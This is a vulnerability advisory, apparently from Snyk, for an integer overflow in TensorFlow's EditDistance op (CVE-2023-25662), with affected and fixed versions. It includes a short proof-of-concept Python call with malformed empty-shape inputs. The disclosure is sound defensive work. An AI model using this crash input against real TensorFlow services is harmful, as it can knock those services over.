Integer Overflow or Wraparound Affecting tensorflow package, versions [,2.11.1) [2.12.0rc0,2.12.0)
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.09% (41st
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-TENSORFLOW-3373014
- published 26 Mar 2023
- disclosed 26 Mar 2023
- credit r3pwnx
Introduced: 26 Mar 2023
CVE-2023-25662 Open this link in a new tabHow to fix?
Upgrade tensorflow to version 2.11.1, 2.12.0 or higher.
Overview
tensorflow is a machine learning framework.
Affected versions of this package are vulnerable to Integer Overflow or Wraparound in EditDistance. A fix is included in TensorFlow version 2.12.0 and version 2.11.1.
PoC
import tensorflow as tf
para={
'hypothesis_indices': [[]],
'hypothesis_values': ['tmp/'],
'hypothesis_shape': [],
'truth_indices': [[]],
'truth_values': [''],
'truth_shape': [],
'normalize': False
}
tf.raw_ops.EditDistance(**para)
References
CVSS Scores
version 3.1